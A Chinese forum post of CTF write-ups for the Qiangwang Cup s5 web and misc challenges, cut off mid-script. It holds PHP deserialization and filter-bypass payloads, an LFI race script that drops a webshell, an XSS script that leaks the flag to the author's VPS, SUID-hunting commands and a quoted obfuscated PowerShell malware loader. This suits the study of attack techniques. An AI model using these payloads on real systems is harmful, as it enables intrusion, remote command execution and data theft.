跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. Web1.[强网先锋]寻宝下发赛题,访问链接如下: 该题需要你通过信息 1 和信息 2 分别获取两段 Key 值,输入 Key1 和 Key2 然后解密。 Key1之代码审计 点击“信息1”,发现是代码审计: 完整源码如下: <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); function filter($string){ $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000'); $filter_phrase= '/'.implode('|',$filter_word).'/'; return preg_replace($filter_phrase,'',$string); } if($ppp){ unset($ppp); } $ppp['number1'] = "1"; $ppp['number2'] = "1"; $ppp['nunber3'] = "1"; $ppp['number4'] = '1'; $ppp['number5'] = '1'; extract($_POST); $num1 = filter($ppp['number1']); $num2 = filter($ppp['number2']); $num3 = filter($ppp['number3']); $num4 = filter($ppp['number4']); $num5 = filter($ppp['number5']); if(isset($num1) && is_numeric($num1)){ die("非数字"); } else{ if($num1 > 1024){ echo "第一层"; if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){ echo "第二层"; if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){ echo "第三层"; if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){ echo "第四层"; if(!isset($num5)||(strlen($num5)==0)) die("no"); $b=json_decode(@$num5); if($y = $b === NULL){ if($y === true){ echo "第五层"; include 'KeY1lhv.php'; echo $KEY1; } }else{ die("no"); } }else{ die("no"); } }else{ die("no"); } }else{ die("no"); } }else{ die("no111"); } } 非数字 ?> 核心需要 bypass 的代码如下: 第一层:要求非纯数字且大于 1024,利用 PHP 弱比较令 $num1=11111a 即可。 第二层:绕过 intval 函数(intval() 函数用于获取变量的整数值),利用科学技术法绕过长度小于 5 的限制,故令 $num2=9e9 即可。 第三层:substr(md5) 取值为某个值,编写脚本进行 MD5 碰撞,计算出num3 为 61823470,脚本如下: import hashlib def md5_encode(num3): return hashlib.md5(num3.encode()).hexdigest()[0:7] for i in range(60000000,700000000): num3 = md5_encode(str(i)) # print(num3) if num3 == '4bf21cd': print(i) break 运行结果如下: 第四层:科学计数法绕过,长度为 7 且为 0,num4 为 0e00000。 第五层:json_decode()函数接受一个 JSON 编码的字符串并且把它转换为 PHP 变量,如果 json 无法被解码(非 json 格式时)将会返回 null ,故令 num5 等于 1a (任意字符串即可)。 故最终 Payload: ppp[number1]=11111a&ppp[number2]=9e9&ppp[number3]=61823470&ppp[number4]=0e00000&ppp[number5]=1a POST提交获得 Key1: KEY1{e1e1d3d40573127e9ee0480caf1283d6} Key2之脚本搜索 1、提示信息给了一个下载链接: 2、解压后得到一堆 docx 文件: 3、随便打开一个发现是一堆字符: 4、猜测 Key2 就在其中某一个文件中,写脚本跑: import os import docx for i in range(1,20): for j in range(1,20): path = "./5.{0}/VR_{1}".format(i,j) files = os.listdir(path) # print(filePath) for file in files: try: fileName = path+"/"+file # print(fileName) file = docx.Document(fileName) for content in file.paragraphs: # print(content.text) if "KEY2{" in content.text: print(content.text) print(fileName) break except: pass 运行结果如下: 得到 KEY2 : KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS} 在原页面上提交获取 flag: 2.[强网先锋]赌徒下发赛题,访问地址如下: 结合题目源码提醒,利用 dirsearch 扫描目录,发现 www.zip: 3、解压缩获得题目源码:<meta charset="utf-8"><?php//hint is in hint.phperror_reporting(1); class Start{ public $name='guest'; public $flag='syst3m("cat 127.0.0.1/etc/hint");'; public function __construct(){ echo "I think you need /etc/hint . Before this you need to see the source code"; } public function _sayhello(){ echo $this->name; return 'ok'; } public function __wakeup(){ echo "hi"; $this->_sayhello(); } public function __get($cc){ echo "give you flag : ".$this->flag; return ; }} class Info{ private $phonenumber=123123; public $promise='I do'; public function __construct(){ $this->promise='I will not !!!!'; return $this->promise; } public function __toString(){ return $this->file['filename']->ffiillee['ffiilleennaammee']; }} class Room{ public $filename='/flag'; public $sth_to_set; public $a=''; public function __get($name){ $function = $this->a; return $function(); } public function Get_hint($file){ $hint=base64_encode(file_get_contents($file)); echo $hint; return ; } public function __invoke(){ $content = $this->Get_hint($this->filename); echo $content; }} if(isset($_GET['hello'])){ unserialize($_GET['hello']);}else{ $hi = new Start();}?>看到这里猜测是 PHP 反序列化的题目,但是先前了解的相关题目都只是涉及析构函数的利用点,本题看得一脸懵圈,所以立马恶补下 CTF 中关于 PHP 反序列化的套路。PHP的魔术方法PHP 中魔术方法的定义是把以两个下划线__开头的方法称为魔术方法,常见的如下:__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。__toString: 当对象被当做一个字符串使用时调用。__sleep: 序列化对象之前就调用此方法(其返回需要一个数组)__wakeup: 反序列化恢复对象之前调用该方法__call: 当调用对象中不存在的方法会自动调用该方法。__get: 从不可访问的属性中读取数据会触发__isset(): 在不可访问的属性上调用isset()或empty()触发__unset(): 在不可访问的属性上使用unset()时触发__invoke(): 将对象调用为函数时触发更多请查看PHP手册:https://www.php.net/manual/zh/language.oop5.magic.php简单例子<?phpclass A{ var $test = "demo"; function __wakeup(){ eval($this->test); }}$a = $_GET['test'];$a_unser = unserialize($a);?>分析:这里只有一个A类,只有一个__wakeup()方法,并且一旦反序列化会走魔法方法__wakeup并且执行 test 变量的命令,那我们构造如下 EXP 执行 phpinfo() 函数:<?phpclass A{ var $test = "demo"; function __wakeup(){ echo $this->test; }}$a = $_GET['test'];$a_unser = unserialize($a); $b = new A();$b->test="phpinfo();";$c = serialize($b);echo $c;?>输出:O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}提交输出的 Payload,执行效果如下: POP链实例进一步来看一道进阶题目:<?php//flag is in flag.phperror_reporting(1);class Read { public $var; public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } public function __invoke(){ $content = $this->file_get($this->var); echo $content; }} class Show{ public $source; public $str; public function __construct($file='index.php') { $this->source = $file; echo $this->source.'Welcome'."<br>"; } public function __toString() { return $this->str['str']->source; } public function _show() { if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) { die('hacker'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }} class Test{ public $p; public function __construct() { $this->p = array(); } public function __get($key) { $function = $this->p; return $function(); }} if(isset($_GET['hello'])){ unserialize($_GET['hello']);}else{ $show = new Show('pop3.php'); $show->_show();}【题目分析】对于此题可以看到我们的目的是通过构造反序列化读取 flag.php 文件,Read 类有file_get_contents()函数,Show 类有highlight_file()函数可以读取文件。接下来寻找目标点可以看到在最后几行有 unserialize 函数存在,该函数的执行同时会触发__wakeup魔术方法,而__wakeup魔术方法可以看到在 Show 类中。1、__wakeup方法:public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; }}存在一个正则匹配函数 preg_match(),该函数第二个参数应为字符串,这里把 source 当作字符串进行的匹配,这时若这个 source 是某个类的对象的话,就会触发这个类的__tostring方法,通篇看下代码发现__tostring魔术方法也在 Show 类中,那么我们一会构造 exp 时将 source 变成 Show 这个类的对象就会触发__tostring方法。 2、__tostring方法:public function __toString(){ return $this->str['str']->source;}首先找到 str 这个数组,取出 key 值为 str 的 value 值赋给 source,那么如果这个 value 值不存在的话就会触发 __get 魔术方法。再次通读全篇,看到 Test 类中存在 __get 魔术方法。3、__get方法: public function __get($key){ $function = $this->p; return $function();}发现先取 Test 类中的属性 p 给 function 变量,再通过 return $function() 把它当作函数执行,这里属性 p 可控。这样就会触发 __invoke 魔术方法,而 __invoke 魔术方法存在于Read类中。 4、__invoke方法: public function __invoke(){ $content = $this->file_get($this->var); echo $content;}调用了该类中的 file_get 方法,形参是 var 属性值(这里我们可以控制),实参是 value 值,从而调用file_get_contents函数读取文件内容,所以只要将 Read 类中的 var 属性值赋值为 flag.php 即可。5、POP链构造:unserialize 函数(变量可控) –>__wakeup()魔术方法–>__tostring()魔术方法–>__get魔术方法–>__invoke魔术方法–> 触发 Read 类中的file_get方法–>触发file_get_contents函数读取 flag.php。 <?php class Show{ public $source; public $str;}class Test{ public $p;} class Read{ public $var = "flag.php";} $s = new Show();$t = new Test();$r = new Read();$t->p = $r; //赋值Test类的对象($t)下的属性p为Read类的对象($r),触发__invoke魔术方法$s->str["str"] = $t;//赋值Show类的对象($s)下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。$s->source = $s;//令 Show类的对象($s)下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发__tostring魔术方法。var_dump(serialize($s));?>题目POP链构造经过上面的实例分析,此赛题同理,照葫芦画瓢即可。构造本题的 EXP:<?phpclass Start{ public $name='guest'; public $flag='syst3m("cat 127.0.0.1/etc/hint");';}class Info{ public $phonenumber=123123; public $promise='I do';}class Room{ public $filename='/flag'; public $sth_to_set; public $a='';}$S = new Start();$I = new Info();$R = new Room();$R->a = $R;$I->file['filename'] = $R;$S->name = $I; echo serialize($S);?>输出Payload:O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:11:"phonenumber";i:123123;s:7:"promise";s:4:"I do";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";r:6;}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}提交 Payload,获得 Flag 的 base64 编码: 坑点!需要去除前面的 “hi” 字符再进行 Base64 解码: 3.WhereIsUWebShell源码 <!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php--> <?php // index.php ini_set('display_errors', 'on'); if(!isset($_COOKIE['ctfer'])){ setcookie("ctfer",serialize("ctfer"),time()+3600); }else{ include "function.php"; echo "I see your Cookie<br>"; $res = unserialize($_COOKIE['ctfer']); if(preg_match('/myclass/i',serialize($res))){ throw new Exception("Error: Class 'myclass' not found "); } } highlight_file(__FILE__); echo "<br>"; highlight_file("myclass.php"); echo "<br>"; highlight_file("function.php"); <?php // myclass.php class Hello{ public function __destruct() { if($this->qwb) echo file_get_contents($this->qwb); } } ?> <?php // function.php function __autoload($classname){ require_once "/var/www/html/$classname.php"; } ?> 入口的 COOKIE 存在反序列化 去掉最后的大括号,利用反序列化报错来防止进入 Exception O:7:"myclass":1:{s:1:"h";O:5:"Hello":1:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";} O%3A7%3A%22myclass%22%3A1%3A%7Bs%3A1%3A%22h%22%3BO%3A5%3A%22Hello%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3Bs%3A36%3A%22e2a7106f1cc8bb1e1318df70aa0a3540%2Ephp%22%3B%7D e2a7106f1cc8bb1e1318df70aa0a3540.php <?php include "bff139fa05ac583f685a523ab3d110a0.php"; include "45b963397aa40d4a0063e0d85e4fe7a1.php"; $file = isset($_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b'])?$_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b']:"404.html"; $flag = preg_match("/tmp/i",$file); if($flag){ PNG($file); } include($file); $res = @scandir($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']); if(isset($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1'])&&$_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']==='/tmp'){ $somthing = GenFiles(); $res = array_merge($res,$somthing); } shuffle($res); @print_r($res); ?> bff139fa05ac583f685a523ab3d110a0.php <?php function PNG($file) { if(!is_file($file)){die("我从来没有见过侬");} $first = imagecreatefrompng($file); if(!$first){ die("发现了奇怪的东西2333"); } $size = min(imagesx($first), imagesy($first)); unlink($file); $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]); if ($second !== FALSE) { imagepng($second, $file); imagedestroy($second);//销毁,清内存 } imagedestroy($first); } ?> 45b963397aa40d4a0063e0d85e4fe7a1.php <?php function GenFiles(){ $files = array(); $str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $len=strlen($str)-1; for($i=0;$i<10;$i++){ $filename="php"; for($j=0;$j<6;$j++){ $filename .= $str[rand(0,$len)]; } // file_put_contents('/tmp/'.$filename,'flag{fake_flag}'); $files[] = $filename; } return $files; } ?> /e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=passwd&dd9bd165-7cb2-446b-bece-4d54087185e1=/tmp 当前应该是在 /etc 目录下(? 不过没啥用,不能直接读 /flag,或者说 flag 不在根目录 参考 LFI via SegmentFault 魔改他的脚本 # -*- coding: utf-8 -*- import requests import string import itertools charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' base_url = "http://eci-2ze9gh3z7jcw29alwhuz.cloudeci1.ichunqiu.com" def upload_file_to_include(url, file_content): files = {'file': ('evil.jpg', file_content, 'image/jpeg')} try: response = requests.post(url, files=files) print(response) except Exception as e: print(e) def generate_tmp_files(): with open('miao.png', 'rb') as fin: file_content = fin.read() phpinfo_url = "%s/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=php://filter/string.strip_tags/resource=passwd" % ( base_url) length = 6 times = int(len(charset) ** (length / 2)) for i in range(times): print("[+] %d / %d" % (i, times)) upload_file_to_include(phpinfo_url, file_content) def main(): generate_tmp_files() if __name__ == "__main__": main() 图片是个长宽相等的 png,里面放木马。 上传过程中就会留下一些文件不会被删除。 一边跑这个脚本,另一边的一堆 /tmp/phpxxxxxx 里就存在我们的 webshell 由于会自动删除,没了就换新的 根目录果然没 flag 然后利用 shell 发现 /usr/bin 下面有个文件可以以 root 权限执行命令 find / -user root -perm -4000 -print 2>/dev/null # 或者 # find / -perm -u=s -type f 2>/dev/null flag 在 /l1b 下一个绕来绕去的目录里面 或者 find / -perm 600 -user root 最后执行 /usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41 POST /e2a7106f1cc8bb1e1318df70aa0a3540.php?b822f88a-de15-4dc8-923b-1cbeec54bcfc=/tmp/phpi8bEt1&0=system HTTP/1.1 Host: eci-2zehg7ugvk0ahcsnkehl.cloudeci1.ichunqiu.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: UM_distinctid=1769d95cb5b54d-04781d3935eefa-c791039-1fa400-1769d95cb5c669; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1611909425; ctfer=s%3A5%3A%22ctfer%22%3B; __jsluid_h=847d751b863f86e3ed743f9efb5d5c4f Connection: close Content-Length: 110 Content-Type: application/x-www-form-urlencoded 1=/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41 flag{b101e657-a46a-4791-abcb-5be544fc12bd} 4.EasyWeb 5.EasyXSS 算是个 XS-Leaks 的题目,算是侧信道的一种吧。 通过 /hint 路由可以知道 flag 判断逻辑。 app.all("/flag", auth, async (req, res, next) => { if (req.session.isadmin && typeof req.query.var === "string") { fs.readFile("/flag", "utf8", (err, flag) => { let flagArray = flag.split(""); let dataArray = req.query.var.split(""); let check = true; for (let i = 0; i < dataArray.length && i < flagArray.length; i++) { if (dataArray[i] !== flagArray[i]) { check = false; break; } } if (check) { res.status(200).send(req.query.var); } else { res.status(500).send("Keyword Error!"); } }); } else { res.status(500).send("Sorry, you are not admin!"); } }); /flag 路由对输入的逐个字符与 flag 的这么多个(输入的)长度的字符进行比较,如果每一位都相同则返回 200,否则返回 500. 访问 /about?theme=xxxxx 发现存在 XSS。不过过滤了一些东西,比如 空格可以用 %09 绕过之类。 根据提示 flag 是个 UUID,于是可以按照这个格式逐位爆破,通过返回的状态来判断当前字符是否正确。 访问 /about?theme=xxxxx 发现存在 XSS。不过过滤了一些东西,比如 空格可以用 %09 绕过之类。 于是就在 VPS 上跑个脚本,分成功和失败两个路由,让 bot 访问自己的 /flag 路由。 如果成功返回则调用 Ajax 去请求 VPS 上的 success 路由,否则请求 error 路由,并通过参数返回当前爆破的 flag。 exp: from flask import Flask from flask import request import requests import urllib.parse app = Flask(__name__) @app.route("/success") def index(): global cookies global url data = request.args.get('a') if len(data) == 13 or len(data) == 18 or len(data) == 23 or len(data) == 28: data += "-0" else: data += "0" p = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//''' p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p) d = { "url": p } requests.post(url, data=d, cookies=cookies) return "Hello World!" @app.route("/error") def index2(): global cookies global url data = request.args.get('a') tmp = data[:-1] if data[-1] == "9": tmp += "a" else: tmp += chr(ord(data[-1]) + 1) data = tmp p = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//''' p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p) d = { "url": p } requests.post(url, data=d, cookies=cookies) return "Hello World!" cookies = {"session":"s%3ASuDwPHFP03I6VDRGiad8Zzst0owLeQY_.MjxB%2BTBwTgesKkEE9dIR95EoJPMuNNh%2BOZFw6ajDMm0"} # url = "http://47.104.210.56:8888/report" url = "http://47.104.192.54:8888/report" app.run(host='0.0.0.0', port=80) 让 bot 从 0 开始访问,虽然容器固定时间重启,但是 flag 是静态的 uuid,所以就是时间问题了。 最后根据 VPS 上的访问记录就能得到 flag 了。 6.Hard_PenetrationShiro反序列化1、访问解题链接发现是个登录页面,输入任意账户密码抓包发现 remenberme 响应头参数:2、Xray 神器一扫果然有 Shiro 反序列化漏洞:3、用 shiro_attack 工具进行漏洞利用,写冰蝎内存马,多写几次,失败没事然后打开冰蝎直接连接即可:4、查看根目录发现 flag 权限是 www-data 无法读取: CMS源码审计1、拿到 shell 但是权限不足,进一步进行信息收集,执行命令 ps (用于显示当前进程的状态,类似于 windows 的任务管理器)发现有 Apache 服务:2、读取 Apache 的 ports 配置文件得到端口:3、使用冰蝎将端口映射出来:4、本地物理机浏览器访问映射出来的内网服务,发现 CMS 关键字:5、Github 下载对应 CMS 系统的源码 BaoCms,然后审计发现包含了模板,但是它在后缀硬加上了 .html:6、最后利用 CMS 系统的文件包含漏洞读取 flag 文件:7.pop_master 该题需要构造反序列化利用链 最终实现RCE 由于该题目类数量巨大1W个 编写自动化脚本构造pop链 第一步将class.php.txt转化成AST(抽象语法树) 保存为json格式 <?php ini_set(“memory_limit”,”-1”); echo(json_encode(ast\parse_file(“class.php”, $version=70))); 构造比较简单A->B->C->…….->包含EVAL()的class function 调用这里有几个坑 1.调用途中有参数污染(附加垃圾数据) 2.调用途中传参可能被清空 (传参被赋值未定义的变量)3.调用途中传参可能被修改 (直接赋值为垃圾数据) 所以并不是找到调用链就可以完成工作 而是需要找到可以利用的调用链 自动化代码: PS:没有什么参考价值 只对该题可用 因为固定3种函数结构所以偷懒把参数写死了 初学py语言 第一次做AST树解析用这种笨方法) ## -*- coding: utf-8 -*- import json import random import os import string with open("12.json") as f: line=f.readline() result=json.loads(line) print(len(result['children'])) def asb(name,s,s1=''): ee = 0 for a in result['children']: for b in a['children']['stmts']['children']: if 'name' in b['children'].keys(): if (b['children']['name'] == 'gG1T5D'): ee = 0 #ee=1 if (b['children']['name'] == name): test(a) if(len(b['children']['stmts']['children'])==3): q = b['children']['stmts']['children'][1]['children'][0]['children']['cond']['children']['args']['children'][1] w = b['children']['stmts']['children'][random.randint(1,2)]['children'][0]['children']['cond']['children']['args']['children'][1]#随机分支 玄学构造 #print(s + q) #print(s + w) ran_str = ''.join(random.sample(string.ascii_letters, 8)) print('$'+ran_str+'=new '+a['children']['name']+'();') s11='$' + ran_str + '->' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '=' #if s1!='': # asb(w, s +w+'-->') # asb(q, s +q+'-->') if ee!=1: asb(w,s,s11)# 分支函数1 #asb(q, s, s11)# 分支函数2 if ran_str == '': exit() print(s1 + '$' + ran_str+';') #asb(q, s +q+'-->') else: if 'method' in b['children']['stmts']['children'][1]['children'].keys():# 没有分支 q = b['children']['stmts']['children'][1]['children']['method'] ran_str = ''.join(random.sample(string.ascii_letters, 8)) print('$' + ran_str + '=new ' + a['children']['name'] + '();') s11 = '$' + ran_str + '->' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '=' #print(s + q) if ee != 1: asb(q, s, s11) if ran_str == '': exit() print(s1 + '$' + ran_str + ';') def test(d): #if name in {'Name','COiLxB'}: #print('nono') #exit() try: a=d['children']['stmts']['children'][1]['children']['params']['children'][0]['children']['name'] b=d['children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['var']['children']['name'] c=d['children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['expr']['children']['name'] if(a==b and b!=c and a!='DgiNa'): #判断赋值是否是用不存在的变量覆盖传参 print(a,b,c) print('no') asb('YYdqkf', 'YYdqkf' + '-->')#重新搜索 os._exit(0) except: pass asb('YYdqkf','YYdqkf'+'-->')编写脚本处理AST随机抽取一条构造链 检验是否正常执行(传参修改检测) 反复抽取得到可用的链 ps:例图输出与下面代码无关 找不到成功的图了 <?php 此处省略3M大小的源class $a=new WK4tcG(); $prXsQMfO=new WK4tcG(); $DLcTtAga=new xaeGnG(); $lcbgRpGI=new oAMzcx(); $IatldcbW=new p38LCI(); $nULgbaKw=new GbfW4c(); $ASyQaYMV=new m2s3zO(); $GMwztlCS=new PgSSqR(); $MegPsOnX=new RLuIRL(); $neJOwgfu=new WykBAC(); $PNHChDce=new g6hgDh(); $BzceWjKp=new HDaeRV(); $YThMXwcb=new bREm3w(); $xWVjhwmO=new D0aZh5(); $BIbCvgZD=new T9NX4U(); $prvhXPMW=new eWciOL(); $NVHbgdzD=new TqWDlm(); $mszgihWC=new XoFA87(); $vDBkPwqO=new MU1ai5(); $ZYHhsIid=new eHtdBF(); $ZYHhsIid->V7XKdgi=new DNUWgV(); $vDBkPwqO->zXEmp6T=$ZYHhsIid; $mszgihWC->z35pfqP=$vDBkPwqO; $NVHbgdzD->KGgGFnb=$mszgihWC; $prvhXPMW->D6qeYVK=$NVHbgdzD; $BIbCvgZD->UwQCEH2=$prvhXPMW; $xWVjhwmO->ST8sCZq=$BIbCvgZD; $YThMXwcb->pMgtiwK=$xWVjhwmO; $BzceWjKp->OO72gIu=$YThMXwcb; $PNHChDce->GYBlHLq=$BzceWjKp; $neJOwgfu->yWYNYcP=$PNHChDce; $MegPsOnX->dFy0Irz=$neJOwgfu; $GMwztlCS->Cs99EPC=$MegPsOnX; $ASyQaYMV->QidIkAq=$GMwztlCS; $nULgbaKw->gE4DrP9=$ASyQaYMV; $IatldcbW->OksedLV=$nULgbaKw; $lcbgRpGI->SUxaKsh=$IatldcbW; $DLcTtAga->u3832FP=$lcbgRpGI; $a->fBuH5Og=$DLcTtAga; //$a = $_GET['pop']; $b = $_GET['argv']; echo serialize($a); //$a = unserialize($a); //var_dump($a); $a->YYdqkf($b); ?> 生成序列化文本 ?pop=O:6:%22WK4tcG%22:1:{s:7:%22fBuH5Og%22;O:6:%22xaeGnG%22:1:{s:7:%22u3832FP%22;O:6:%22oAMzcx%22:1:{s:7:%22SUxaKsh%22;O:6:%22p38LCI%22:1:{s:7:%22OksedLV%22;O:6:%22GbfW4c%22:1:{s:7:%22gE4DrP9%22;O:6:%22m2s3zO%22:1:{s:7:%22QidIkAq%22;O:6:%22PgSSqR%22:1:{s:7:%22Cs99EPC%22;O:6:%22RLuIRL%22:1:{s:7:%22dFy0Irz%22;O:6:%22WykBAC%22:1:{s:7:%22yWYNYcP%22;O:6:%22g6hgDh%22:1:{s:7:%22GYBlHLq%22;O:6:%22HDaeRV%22:1:{s:7:%22OO72gIu%22;O:6:%22bREm3w%22:1:{s:7:%22pMgtiwK%22;O:6:%22D0aZh5%22:1:{s:7:%22ST8sCZq%22;O:6:%22T9NX4U%22:1:{s:7:%22UwQCEH2%22;O:6:%22eWciOL%22:1:{s:7:%22D6qeYVK%22;O:6:%22TqWDlm%22:1:{s:7:%22KGgGFnb%22;O:6:%22XoFA87%22:1:{s:7:%22z35pfqP%22;O:6:%22MU1ai5%22:1:{s:7:%22zXEmp6T%22;O:6:%22eHtdBF%22:1:{s:7:%22V7XKdgi%22;O:6:%22DNUWgV%22:1:{s:7:%22bieiHE3%22;N;}}}}}}}}}}}}}}}}}}}}&argv=system(%27cat%20/flag%27);// 访问即可getflag Misc1.签到 flag{welcome_to_qwb_s5} 2.BlueTeaming 首先使用 volatility 将内存中的 register hive 导出来. volatility -f memory.dmp --profile Win7SP1x64 hivelist volatility -f memory.dmp --profile Win7SP1x64 dumpregistry -D . 题目中说到可能和 powershell 恶意程序有关系,那么优先考虑 SOFTWARE 专用的字符串,使用 WRR.exe 工具检查注册表,然后全局搜索一些常见的恶意软件字段,比如 -IEX, encode decompress new-object 等等,最终能够找到恶意软件存放的注册表位置 搜到一个路径是CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Microsoft\Windows\Communication 恶意脚本是 & ( $veRBOsepReFErEncE.tOstrINg()[1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd() flag是 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication 3.CipherMan volatility -f memory imageinfo volatility -f memory --profile=Win7SP1x86_23418 filescan | grep 'txt' volatility -f memory --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000007e02af80 -D ./ BitLocker 드라이브 암호화 복구 키 복구 키는 BitLocker로 보호되는 드라이브에서 데이터를 검색하기 위해 사용됩니다. 이 키가 올바른 복구 키인지 확인하려면 복구 화면에 표시된 것과 ID를 비교하십시오. 복구 키 ID: 168F1291-82C1-4B 전체 복구 키 ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9ED BitLocker 복구 키: 221628-533357-667392-449185-516428-718443-190674-375100 BitLocker驱动器加密恢复键 恢复密钥用于在被保护为BitLocker的驱动器中搜索数据。 如果您想确认此密钥是否正确,请比较恢复屏幕上显示的和ID。 恢复密钥ID:168F1291-82C1-4B 整体恢复密钥ID:168F1291-82C1-4BF2-B634-9CCCEC63E9ED BitLocker恢复键: 221628-533357-667392-449185-516428-718443-190674-375100 DiskGenius 解密 Wow,you have a great ability. How did you solve this? Are you a hacker? Please give me a lesson later. 找了半天最后发现这个内容就是 flag。。 4.ExtremelySlow 首先是一个流量包,里面全是 TCP 和 HTTP 流量。而且是 206 分段传输,每个包传 1byte。 于是先导出为 JSON,然后写个脚本提取其中的每个 byte,最后合并得到一个二进制文件。 wireshark 直接导出的 JSON 里 http.response.line 包含多个,如果直接用 json.loads 只保留最后一个了,所以先要去掉无关的内容。 import json import re with open('http.json', 'r', encoding='utf-8') as fin: s = fin.read() re_num = re.compile( r'\"http\.response\.line\": \"content-range: bytes (\d+)-\d+/1987\\r\\n\"') re_nonnum = re.compile( r'(\"http\.response\.line\": (?!\"content-range: bytes (\d+)-\d+/1987\\r\\n\",).*)') s1 = re.sub(re_nonnum, '', s) with open('http_sub.json', 'w', encoding='utf-8') as fout: fout.write(s1) http = json.loads(s1) total = [b''] * 1987 # total = [''] * 1987 idx_list = [] for x in http: source = x['_source'] layers 